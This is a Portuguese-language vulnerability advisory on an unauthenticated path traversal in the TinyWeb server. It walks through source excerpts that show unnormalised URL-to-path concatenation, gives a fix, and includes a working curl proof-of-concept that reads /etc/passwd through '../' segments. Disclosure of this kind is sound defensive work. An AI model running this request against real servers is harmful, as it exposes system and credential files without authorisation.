
Advisory de Segurança: Path Traversal Não Autenticado Permite Leitura Arbitrária de Arquivos (TinyWeb)
Assigned CVE ID: CVE-2026-67185
O TinyWeb constrói o caminho do arquivo a ser servido juntando a raiz web com a URL da requisição exatamente como ela chega, sem nenhuma normalização. Um cliente remoto que nunca se autenticou pode inserir sequências ../ na linha de requisição e ler qualquer arquivo que o processo do servidor puder abrir, incluindo arquivos fora da raiz web.
TnyWeb/0.0.80b3b5fd (2019-01-09), onde o caminho é montado dessa forma pela primeira vez, até a381da2 (2023-11-22, mais recente no master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NUm atacante remoto não autenticado que consiga alcançar a porta TCP em escuta do servidor (9090 na configuração fornecida). Nenhuma credencial, interação do usuário ou acesso prévio é necessário. Uma única requisição é suficiente.
HttpBuilder::buildResponse() começa com a raiz web configurada e anexa o campo de caminho da URL diretamente da requisição analisada:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() no caminho concatenado
}
Entre a concatenação na linha 86 e a chamada de filesystem na linha 94 não há remoção de segmentos de ponto (RFC 3986 seção 5.2.4), nenhuma canonicalização com realpath() e nenhuma verificação de que o resultado permanece dentro de server.www.
O analisador de URL também não filtra ... Em HttpParser::parseUrlChar(), o estado do caminho aceita qualquer caractere que passe em isUrlChar(), e . é um caractere válido de URL, portanto ../ chega a buildResponse() sem alterações:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
HttpFile::setFile() então abre e serve qualquer caminho que tenha sido produzido, usando os privilégios do processo do servidor:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
Nota: o TinyWeb nunca decodifica percentual na URL do caminho, portanto %2e%2e%2f não funciona. A forma literal ../ funciona.
Inicie o servidor com a configuração fornecida (escutando na porta 9090, servindo a partir da raiz web configurada).
Envie uma requisição cujo caminho suba acima da raiz web. A flag --path-as-is impede que o curl colapse o ../ antes do envio:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK com o conteúdo de /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
O número de segmentos ../ necessários depende da profundidade em que a raiz web se encontra. Qualquer quantidade igual ou superior à profundidade da raiz web funciona, porque o kernel ignora .. na raiz do filesystem.
Qualquer cliente remoto pode ler qualquer arquivo que o processo do servidor tenha permissão de abrir. Na configuração padrão, os workers executam como root, então isso inclui /etc/shadow, chaves privadas TLS, arquivos de configuração com credenciais e o próprio código-fonte da aplicação sob a raiz web.
Canonicalize o caminho concatenado com realpath() e rejeite a requisição a menos que o resultado esteja dentro da raiz web configurada. Como defesa em profundidade, remova segmentos de ponto durante a análise da URL conforme a RFC 3986 seção 5.2.4 e decodifique percentuais no caminho antes que essa normalização seja executada.